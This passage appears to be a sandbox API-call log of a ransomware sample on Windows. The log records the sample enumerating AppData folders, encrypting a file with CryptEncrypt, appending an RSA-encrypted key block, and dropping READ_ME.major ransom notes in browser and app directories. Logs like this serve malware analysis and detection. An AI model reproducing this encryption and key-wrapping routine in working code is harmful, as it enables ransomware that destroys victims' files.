lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc12eebd3, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xc12eebd3, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UnistoreDB", cAlternateFileName="UNISTO~1")) returned 0 [0164.897] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1bcb2fe3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x654160 [0164.897] FindNextFileW (in: hFindFile=0x654160, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1bcb2fe3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0164.897] FindNextFileW (in: hFindFile=0x654160, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x435d76fd, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x5f7, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="CDPGlobalSettings.cdp", cAlternateFileName="CDPGLO~1.CDP")) returned 1 [0164.897] FindNextFileW (in: hFindFile=0x654160, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bcb2fe3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bcb2fe3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bcb2fe3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0164.897] FindNextFileW (in: hFindFile=0x654160, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bcb2fe3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bcb2fe3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bcb2fe3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0164.897] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0164.897] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\CDPGlobalSettings.cdp", dwFileAttributes=0x80) returned 1 [0164.898] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\CDPGlobalSettings.cdp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\connecteddevicesplatform\\cdpglobalsettings.cdp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c [0164.898] GetFileSizeEx (in: hFile=0x74c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1527) returned 1 [0164.898] ReadFile (in: hFile=0x74c, lpBuffer=0x2f60050, nNumberOfBytesToRead=0x5f7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f60050*, lpNumberOfBytesRead=0x2e3f9b4*=0x5f7, lpOverlapped=0x0) returned 1 [0164.899] SetFilePointer (in: hFile=0x74c, lDistanceToMove=-1527, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.899] WriteFile (in: hFile=0x74c, lpBuffer=0x2f60650*, nNumberOfBytesToWrite=0x5f7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f60650*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5f7, lpOverlapped=0x0) returned 1 [0164.899] SetFilePointer (in: hFile=0x74c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5f7 [0164.899] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0164.899] WriteFile (in: hFile=0x74c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0164.899] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0164.899] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0164.899] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0164.899] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="mPo0uBzLetZCWHH8ejQdZNDBYLZUxOt0eMWp3VkLgn2bbbxQWTnVOkAQBoa7FplU\npKP+u//qIAdeKc+WvNAnzWDWwTx4OHfnj4XxfPDpzAIpX2dVkSdIz0jvmoNEz7uo\nkPXTKHLjnsyzriOr1yJeDDwCEiD63OUjCv6dQIke0bKPgmu9eI7YMBca07G6Pdcj\njmSan174eRyL1yl6eah8KS4trKujdZFOhGzCt7F0ta5z+KgPNEA0evaFv3BVTcf8\nQtIGwHSj7KmKYt/nnS022QlHIPCyTexyGABRkzgZldSTlvS9RVH6iAty1Mc8O8UY\n+BymrxeVyQ7HotJLYyWfmw==\n", pcchString=0x2e3f9a8) returned 1 [0164.899] WriteFile (in: hFile=0x74c, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0164.899] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0164.899] WriteFile (in: hFile=0x74c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0164.899] CloseHandle (hObject=0x74c) returned 1 [0164.940] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7e3bdb64, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1bcb2fe3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6543a0 [0164.940] FindNextFileW (in: hFindFile=0x6543a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7e3bdb64, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1bcb2fe3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0164.940] FindNextFileW (in: hFindFile=0x6543a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4aa60657, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4aa60657, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Chrome", cAlternateFileName="")) returned 1 [0164.940] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x750 [0164.941] WriteFile (in: hFile=0x750, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.942] CloseHandle (hObject=0x750) returned 1 [0164.942] FindNextFileW (in: hFindFile=0x6543a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xadb6a93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0164.942] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\CrashReports\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\crashreports\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x750 [0164.944] WriteFile (in: hFile=0x750, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.945] CloseHandle (hObject=0x750) returned 1 [0164.945] FindNextFileW (in: hFindFile=0x6543a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bcb2fe3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bcb2fe3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bcb2fe3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0164.945] FindNextFileW (in: hFindFile=0x6543a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bcb2fe3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bcb2fe3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bcb2fe3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0164.946] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\History\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bcb2fe3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bcb2fe3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bcb2fe3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0xffffffff [0164.946] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc895324f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1bcb2fe3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6544a0 [0164.946] FindNextFileW (in: hFindFile=0x6544a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc895324f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1bcb2fe3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0164.946] FindNextFileW (in: hFindFile=0x6544a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bcb2fe3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bcb2fe3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bcb2fe3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0164.946] FindNextFileW (in: hFindFile=0x6544a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92addfb1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SharedCacheContainers", cAlternateFileName="SHARED~1")) returned 1 [0164.946] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x754 [0164.947] WriteFile (in: hFile=0x754, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.948] CloseHandle (hObject=0x754) returned 1 [0164.948] FindNextFileW (in: hFindFile=0x6544a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6771884, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd6771884, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="User", cAlternateFileName="")) returned 1 [0164.948] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\user\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x754 [0164.971] WriteFile (in: hFile=0x754, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.972] CloseHandle (hObject=0x754) returned 1 [0164.972] FindNextFileW (in: hFindFile=0x6544a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6771884, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd6771884, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="User", cAlternateFileName="")) returned 0 [0164.972] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1bcb2fe3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6543e0 [0164.972] FindNextFileW (in: hFindFile=0x6543e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1bcb2fe3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0164.972] FindNextFileW (in: hFindFile=0x6543e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Firefox", cAlternateFileName="")) returned 1 [0164.972] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x758 [0164.973] WriteFile (in: hFile=0x758, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.973] CloseHandle (hObject=0x758) returned 1 [0164.974] FindNextFileW (in: hFindFile=0x6543e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bcb2fe3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bcb2fe3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bcd928b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0164.974] FindNextFileW (in: hFindFile=0x6543e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="updates", cAlternateFileName="")) returned 1 [0164.974] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\updates\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x758 [0164.978] WriteFile (in: hFile=0x758, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.979] CloseHandle (hObject=0x758) returned 1 [0164.979] FindNextFileW (in: hFindFile=0x6543e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="updates", cAlternateFileName="")) returned 0 [0164.979] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1bcd928b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x654420 [0164.979] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1bcd928b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0164.980] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a79bf59, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a79bf59, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy", cAlternateFileName="1527C7~1")) returned 1 [0164.980] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0164.982] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.983] CloseHandle (hObject=0x75c) returned 1 [0164.984] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b15e23b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x8b92dcc4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x8b92dcc4, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="9E2F88E3.Twitter_wgeqdkkx372wm", cAlternateFileName="9E2F88~1.TWI")) returned 1 [0164.984] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\9e2f88e3.twitter_wgeqdkkx372wm\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0164.986] WriteFile (in: 